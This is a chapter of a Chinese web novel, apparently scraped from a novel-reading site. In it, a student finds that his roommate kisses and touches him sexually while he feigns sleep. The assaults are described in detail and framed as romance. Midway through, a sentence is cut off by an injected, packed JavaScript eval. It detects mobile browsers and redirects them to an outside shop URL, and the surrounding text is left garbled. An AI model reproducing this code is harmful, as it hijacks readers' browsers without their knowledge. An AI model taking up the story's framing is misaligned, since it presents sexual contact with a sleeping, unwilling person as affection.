默认冷灰
24号文字
方正启体

11. 第 11 章

作者:戎之本书字数:K更新时间:
    白恪快要精神错乱。


    白恪的手死死攥住被,尽量让自己平稳不颤抖。他一下不敢动,邵述的呼吸洒在他耳廓,微痒,有些麻。


    他的呼吸被劫掠,大腿传来滚烫的灼烧感,黑夜里,白恪脚踝被抬起,小腿游离到大腿根部,感受着邵述浓重的喘息。


    邵述松开白恪脚踝,随意搭在肩膀。邵述的阴暗面彻底激发,他像蛇守着猎物,步步紧逼上前。


    白恪被邵述指节温度烫到颤睫。


    邵述似乎没有注意到,他解开白恪上衣袖口,衣领扯到一边,低头含住。


    太超过了...


    白恪理应在此刻清醒,让邵述措不及防。他应当如此,可这双眼怎么也睁不开。


    他不敢,他退缩,他害怕面对。


    邵述完全颠覆白恪的认知,他从未遇到过这类人,邵述竟胆大包天到随意玩弄他,肆无忌惮吻他。


    白恪指甲掐进掌心肉,他的心脏在抖,胃部发出抗议,胸口发闷,极力想要排出邵述的掌控。


    邵述这样多久了?


    所以从前根本不是春梦,而是他幻梦幻醒时感受到的邵述留下的痕迹。


    白恪因荒诞的猜想恐惧,不断放大不安。


    昏暗的房间里,白恪感受着邵述的温度,吻落在各处,邵述像极了他的情人,用他的身体尽情欢愉。


    黏腻,热腾。


    他该抬手推开,主动先发制人,逼迫对方羞愧,搬离。


    白恪脑袋发散,思虑过多。


    他什么也没做,直到邵述心满意足离开,听见对方上床的声音,白恪才敢松开被褥颤抖。


    他恐惧到失声,张着嘴哑住,不敢喊不敢说话。


    眼泪呢?没有。


    他没有任何力气了,连责怪邵述的情绪都不敢有。


    邵述太恐怖了。


    这个疯子就因为他和别人多打了两把游戏,失控到夜晚来舔他的腿,吃他胸,吻他嘴唇。


    白恪不敢想,要是睁眼拆穿邵述,这疯子会做出怎样出格的事。


    大腿根部火辣辣的,白恪强忍不适,他一夜无眠,头皮发麻撑到天光大亮。


    今天有早八,白恪却连下床的勇气都没有。


    他不愿面对邵述,怕自己做出失控的行为。


    事到如今,应该抓紧换宿舍。


    白恪钻进被窝,将手机光亮遮盖。


    他急忙给刘闻延发消息:【你房子租好没?】


    刘闻延刚起,稀里糊涂的:【不租了,找不到合适的。】


    白恪天塌了。


    【white:学校附近房租多少?有大概行情吗?】


    刘闻延:【3k左右吧,我们在中心段,稍微贵点。房子小,不值。】


    白恪欲哭无泪。


    怎么这么贵啊,他不吃不喝才租得起。


    刘闻延:【咋,跟你室友过不下去了?】


    白恪:“……”


    该怎么解释。


    算了。


    没人会信的,他也不想说。


    白恪决定打感情牌。


    【white:六子,你是我最好的朋友,最亲爱的好兄弟。】


    【六子:?】


    【white:你愿意跟我换宿舍吗?】


    【六子:真过不下去了?】


    白恪含泪:【兄弟。】


    刘闻延隔了许久,才发送:【连你这么好脾气的都跟他难相处,我更不行了。我每天得跟晓晓打视频到凌晨,你们宿舍十点就关灯,兄弟真不行,兄弟尽不了力啊。】


    【white:……】


    刘闻延哄他:【兄弟帮不了你,但能给你买早餐,你想吃什么?哥请你。】


    白恪扯了扯嘴,他需要在宿舍疗愈一下自己受到震撼的情绪。


    【早八不去,帮我请个假。】


    刘闻延:【生病了?】


    【white:嗯。】


    刘闻延:【严重不?带你去医院?】


    【white:心病,无药可医。】


    【?】


    刘闻延发。


    【我看你是不想早起。】


    白恪无力回复。


    他盖住手机,眼睛从被褥里露出。


    邵述今天有早八吗?


    他走了没?


    白恪缓缓移动脑袋,沿着床杆,小心翼翼窃听对面的声音。


    邵述醒了,阳台门打开的声音很轻,水声细小。


    白恪胸腔震如擂鼓,呼吸困难。


    过一会儿,他听见阳台关闭的声音,紧接着是翻书声。


    邵述没有发出噪音,宿舍很安静,白恪状态高度紧张敏感,任何声音到他这里都无限放大。


    他讨厌糟糕的情绪,期盼邵述赶快离开,让他得以呼吸。


    邵述的脚步声越来越近,像是要验证什么。


    白恪似乎猜到,他躺回枕头忐忑闭眼。


    下一秒床帘被掀开,白恪眼前一片黑暗,眉眼被温热抚摸。


    白天的邵述稍显正常,没有做额外出格的事。他轻轻抚在白恪眉间,又碰了碰白恪额头。


    邵述干净利落收回手,轻轻遮帘,悄然离开。


    宿舍门关闭,白恪如释重负睁开眼。


    这个秘密惊天动地,是他不能承受之最。


    白恪想到网友00,居然真被网友蒙对了。


    他忙不迭点开手机论坛。


    【1:朋友今天和我说,感觉室友喜欢他(同性),怎么解决?】


    [雪花落满地:我记得你]


    [77复88:我靠。。朋友怎么发现的?]


    [王子:嗯,请叫我预言家]


    [00:你朋友发现真快,是做了吗?]


    白恪:“……”


    你这人讲话真糙。


    白恪冷静斟酌。


    【我朋友是直男,纯直,铁直。他只是喜欢打扮,但不是Gay。对于室友的喜欢很困扰,室友会做出越界的行为让他很反感,又不知道怎么跟室友说,怎么办?】


    [00:室友哥做出什么越界事了?]


    白恪回复:[他以为我朋友睡着,上我朋友床偷亲他。]


    [00:我靠。]


    [77复88:我靠。]


    [王子:牛逼]


    【1:我朋友想换宿舍,目前没合适的。目前困境是不好和室友摊牌,该怎么避免偷亲的情况再发生?】


    [00:听我说,让你朋友搞个全封闭床帘,在里面上把锁,安全感拉满]


    白恪:“……”


    这不明摆着告诉邵述,我在防着你。


    好尴尬,好尴尬。


    摊牌的不确定性太多了,白恪熬通宵的脑袋转不过弯,他苦于思索,找不到解决方法。


    早八没去上,下午的课仍是请假。


    刘闻延拨call,询问他在干嘛。


    白恪语气蔫蔫:“刘闻延,我快死了...”


    他是快被吓死了,不敢睡觉怕邵述又动手动脚。听的人却会错意,立即道:“我马上来找你。”


    “哎别——”


    话赶话,白恪的拒绝还没出口,刘闻延已经挂断。


    白恪从早躺到晚,全天没掀开床帘,直到刘闻延的出现。


    他风风火火来,拎着炸鸡外送,味道飘进屋,白恪肚子咕噜一声。


    “白恪——!”


    刘闻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154785|196535||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    延声音洪亮,中气十足。


    他毫不客气地进门,“啪!”一声,灯开。


    刘闻延:“看我给你带了什么!”


    白恪又困又饿,他颤抖手指打开床帘,先注意到的却不是站在帘下的刘闻延,而是坐在椅前的邵述。


    “。”


    他什么时候回来的?


    回来也不开灯,吓唬谁呢。


    “喂,我在这呢,你在看谁?”


    刘闻延抬手在白恪面前挥了挥。


    白恪恍然回神,他饥肠辘辘,虚弱道:“看你。”


    “你这是怎么了!”刘闻延夸张嚷道,“真生病了?”


    邵述的背影顿住。


    白恪提起心脏,他现在就怕邵述转身。


    他不愿面对邵述的眼睛。


    好在邵述没有,依旧在外人面前保持互不打扰准则。


    白恪松口气,他道:“我没事,多少钱我发你。”


    刘闻延:“我俩之间不用算这么清楚!”


    邵述敲键盘的声音轻了。


    白恪想起昨天放纵打游戏的后果,他万万不敢再牵扯。


    “别。”白恪说,“还是算清楚点吧。”


    他不想今晚再折腾。


    刘闻延疑惑道:“你吃错药了?”


    白恪:“……”


    兄弟,你就帮我一次吧。


    别闹了。


    他在心里尖叫,刘闻延看不懂他使眼色,白恪气不打一处来。


    白恪直接转了五十给刘闻延。


    刘闻延挑眉:“怎么给我转这么多,发财了?”


    “滚蛋。”白恪说。


    刘闻延笑了笑,没收钱。


    他看白恪脸苍白,问道:“要不我带你去医院看看?”


    “不用。”白恪拒绝,“东西送到就走吧,不留你了。”


    刘闻延假装心痛捂胸口:“用完就丢,渣男。”


    ...你放过我吧。


    白恪懒得辩解,他摆手:“快走。”


    刘闻延赶着和对象约会,唠几句便离开。


    白恪瘫倒枕头,炸鸡的香味扑面而来,等邵述上床炸鸡都凉透了。他权衡几秒,为美食折服。


    这是白恪第一次在宿舍吃味道重的食物。


    炸鸡很香,不柴,咬一口有汁水。白恪报复性饮食,连吞三块。


    他全程掩耳盗铃,把手机视频声音放大,刻意屏蔽身后发出的声响。


    大概是饿狠了,白恪五分钟内吃完整份炸鸡,他忙洗漱,片刻不停上了床。


    只要没有对视,就不会有尴尬。


    他今天没有出门,没有打游戏,也没和男生拉扯扯。


    终于可以睡个好觉——


    白恪安心地闭上眼睛,他大脑放松,逐渐沉睡。


    夜幕降临,梦境浮现。


    白恪的嘴唇被人又吸又咬,他试图反抗,手脚被擒,无力推搡。


    白恪身处迷雾,他看不清影子是谁,脸颊肉被吸吮,啃咬。


    忽然间,一道声音响起。


    “宝贝儿,你在怕什么?”


    声音低喃,徘徊在周边。


    白恪笃定这声音的来源是邵述。


    大抵是睡够了,意识回笼,白恪眼睛眯出一条缝,视线逐渐聚焦。


    月光摇曳,邵述跨坐他腿侧,躬腰闭眼舔舐他锁骨。


    认真,专注。


    连白恪身体不自然地僵硬都未能发觉。


    邵述沉浸在自己世界里,在白恪修长的脖子留下吻痕。


    他轻声低喃:“惩罚你。”


    白恪:“……”


    怎么又来?


    他到底哪做错了,邵述在罚什么?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)